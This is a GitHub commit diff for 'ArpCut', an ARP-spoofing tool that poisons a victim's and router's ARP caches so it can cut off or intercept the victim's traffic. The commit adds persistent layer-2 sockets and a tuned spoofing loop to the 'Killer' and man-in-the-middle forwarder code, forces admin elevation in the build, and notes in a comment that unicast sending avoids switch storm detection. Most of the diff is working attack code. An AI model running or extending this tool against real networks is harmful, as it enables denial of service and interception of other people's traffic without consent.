Skip to content

Commit 6ff64bb

Browse files
author
Magnus
committed
NetCut-style stability fixes: persistent L2 sockets, 2s delay, UAC admin
1 parent df7a02d commit 6ff64bb

4 files changed

Lines changed: 86 additions & 16 deletions

File tree

.github/workflows/build-release.yml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -28,6 +28,7 @@ jobs:
2828
pyinstaller --onefile --windowed --name ArpCut `
2929
--add-data "exe/manuf;manuf" `
3030
--icon exe/icon.ico `
31+
--uac-admin `
3132
--hidden-import PyQt5 `
3233
--hidden-import PyQt5.QtWidgets `
3334
--hidden-import PyQt5.QtCore `

build.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -42,6 +42,7 @@ def build():
4242
cmd.extend(['--onefile', '--windowed'])
4343
cmd.extend(['--add-data', 'exe/manuf;manuf'])
4444
cmd.extend(['--icon', 'exe/icon.ico'])
45+
cmd.extend(['--uac-admin']) # Force admin elevation prompt
4546
elif system == 'Darwin': # macOS
4647
cmd.extend(['--onedir', '--windowed'])
4748
cmd.extend(['--add-data', 'exe/manuf:manuf'])

src/networking/forwarder.py

Lines changed: 27 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,11 @@
1-
from scapy.all import IP, Ether, sendp, AsyncSniffer
1+
from scapy.all import IP, Ether, AsyncSniffer, L2Socket
22

33

44
class MitmForwarder:
55
"""
66
Simple user-space forwarder that optionally drops traffic in one direction.
77
It assumes ARP poisoning is already in place so frames arrive at our NIC.
8+
Uses persistent L2 socket to avoid Windows socket exhaustion.
89
"""
910

1011
def __init__(self, debug=False):
@@ -20,6 +21,7 @@ def __init__(self, debug=False):
2021
self._drop_count = 0
2122
self._fwd_count = 0
2223
self._debug = debug
24+
self._socket = None # Persistent L2 socket
2325

2426
def start(
2527
self,
@@ -52,6 +54,16 @@ def start(
5254
self.running = False
5355
return
5456

57+
# Create persistent L2 socket
58+
try:
59+
self._socket = L2Socket(iface=self.iface)
60+
if self._debug:
61+
print(f"[forwarder] L2 socket created for {self.iface}")
62+
except Exception as e:
63+
if self._debug:
64+
print(f"[forwarder] Failed to create L2 socket: {e}")
65+
self._socket = None
66+
5567
bpf = f"ip and host {self.victim['ip']}"
5668
if self._debug:
5769
print(f"[forwarder] Starting on {self.iface}")
@@ -81,6 +93,13 @@ def stop(self):
8193
except Exception:
8294
pass
8395
self.sniffer = None
96+
# Close persistent socket
97+
if self._socket:
98+
try:
99+
self._socket.close()
100+
except Exception:
101+
pass
102+
self._socket = None
84103
self.running = False
85104

86105
def get_stats(self):
@@ -138,8 +157,14 @@ def _process_packet(self, pkt):
138157
print(f"[forwarder] stats: {self._pkt_count} seen, {self._drop_count} dropped, {self._fwd_count} fwd")
139158

140159
def _send(self, pkt):
160+
"""Send using persistent socket, prevents Windows socket exhaustion"""
141161
try:
142-
sendp(pkt, iface=self.iface, verbose=0)
162+
if self._socket:
163+
self._socket.send(pkt)
164+
else:
165+
# Fallback (shouldn't happen normally)
166+
from scapy.all import sendp
167+
sendp(pkt, iface=self.iface, verbose=0)
143168
except Exception:
144169
pass
145170

@@ -157,5 +182,3 @@ def _fix_checksums(pkt):
157182
del pkt['UDP'].chksum
158183
except Exception:
159184
pass
160-
161-

src/networking/killer.py

Lines changed: 57 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,13 @@
1-
from scapy.all import ARP, Ether, sendp, conf
1+
from scapy.all import ARP, Ether, conf, L2Socket
22
from time import sleep
3+
import sys
34

45
from networking.forwarder import MitmForwarder
56
from tools.pfctl import ensure_pf_enabled, install_anchor, block_all_for, unblock_all_for
67
from tools.utils import threaded, get_default_iface
78
from constants import *
89

10+
911
class Killer:
1012
def __init__(self, router=DUMMY_ROUTER):
1113
self.iface = get_default_iface()
@@ -16,18 +18,61 @@ def __init__(self, router=DUMMY_ROUTER):
1618
self.storage = {}
1719
self.forwarders = {}
1820
self.pf_blocks = set()
21+
self._socket = None # Persistent L2 socket
22+
23+
def _get_socket(self):
24+
"""Get or create persistent L2 socket - prevents Windows socket exhaustion"""
25+
if self._socket is None:
26+
try:
27+
iface = self.iface.guid if hasattr(self.iface, 'guid') and self.iface.guid else self.iface.name
28+
self._socket = L2Socket(iface=iface)
29+
except Exception:
30+
self._socket = None
31+
return self._socket
32+
33+
def _send_packet(self, packet):
34+
"""Send packet using persistent socket, fallback to new socket if needed"""
35+
sock = self._get_socket()
36+
if sock:
37+
try:
38+
sock.send(packet)
39+
return
40+
except Exception:
41+
# Socket died, recreate
42+
self._close_socket()
43+
44+
# Fallback: direct send (creates new socket)
45+
try:
46+
from scapy.all import sendp
47+
iface = self.iface.guid if hasattr(self.iface, 'guid') and self.iface.guid else self.iface.name
48+
sendp(packet, iface=iface, verbose=0)
49+
except Exception:
50+
pass
51+
52+
def _close_socket(self):
53+
"""Close persistent socket"""
54+
if self._socket:
55+
try:
56+
self._socket.close()
57+
except Exception:
58+
pass
59+
self._socket = None
1960

2061
@threaded
21-
def kill(self, victim, wait_after=1):
62+
def kill(self, victim, wait_after=2):
2263
"""
23-
Spoofing victim
64+
Spoofing victim.
65+
Default 2 second delay - ARP cache lasts 30-120s, no need to spam.
66+
Prevents Windows NDIS throttling.
2467
"""
2568
if victim['mac'] in self.killed:
2669
return
2770

2871
self.killed[victim['mac']] = victim
2972

3073
# Send ARP reply (is-at) with proper Ethernet destination to poison caches
74+
# Unicast to specific MAC, not broadcast - avoids switch storm detection
75+
3176
# Victim: tell victim that router IP is at our MAC
3277
to_victim = Ether(dst=victim['mac'])/ARP(
3378
op=2,
@@ -46,13 +91,11 @@ def kill(self, victim, wait_after=1):
4691
hwdst=self.router['mac']
4792
)
4893

49-
iface_to_use = self.iface.guid if hasattr(self.iface, 'guid') and self.iface.guid else self.iface.name
50-
5194
while victim['mac'] in self.killed \
5295
and self.iface.name != 'NULL':
53-
# Send packets to both victim and router (L2 frames)
54-
sendp(to_victim, iface=iface_to_use, verbose=0)
55-
sendp(to_router, iface=iface_to_use, verbose=0)
96+
# Send packets using persistent socket
97+
self._send_packet(to_victim)
98+
self._send_packet(to_router)
5699
sleep(wait_after)
57100

58101
self._stop_forwarder(victim['mac'])
@@ -82,12 +125,12 @@ def unkill(self, victim):
82125
hwdst=self.router['mac']
83126
)
84127

85-
iface_to_use = self.iface.guid if hasattr(self.iface, 'guid') and self.iface.guid else self.iface.name
86128
if self.iface.name != 'NULL':
87-
# Send packets to both victim and router
129+
# Send restore packets 3 times
88130
for _ in range(3):
89-
sendp(to_victim, iface=iface_to_use, verbose=0)
90-
sendp(to_router, iface=iface_to_use, verbose=0)
131+
self._send_packet(to_victim)
132+
self._send_packet(to_router)
133+
sleep(0.1)
91134
self._stop_forwarder(victim['mac'])
92135
self._remove_pf_block(victim['ip'])
93136

@@ -110,6 +153,8 @@ def unkill_all(self):
110153
self._stop_forwarder(mac)
111154
for ip in list(self.pf_blocks):
112155
self._remove_pf_block(ip)
156+
# Close persistent socket when done
157+
self._close_socket()
113158

114159
def store(self):
115160
"""

0 commit comments

Comments
 (0)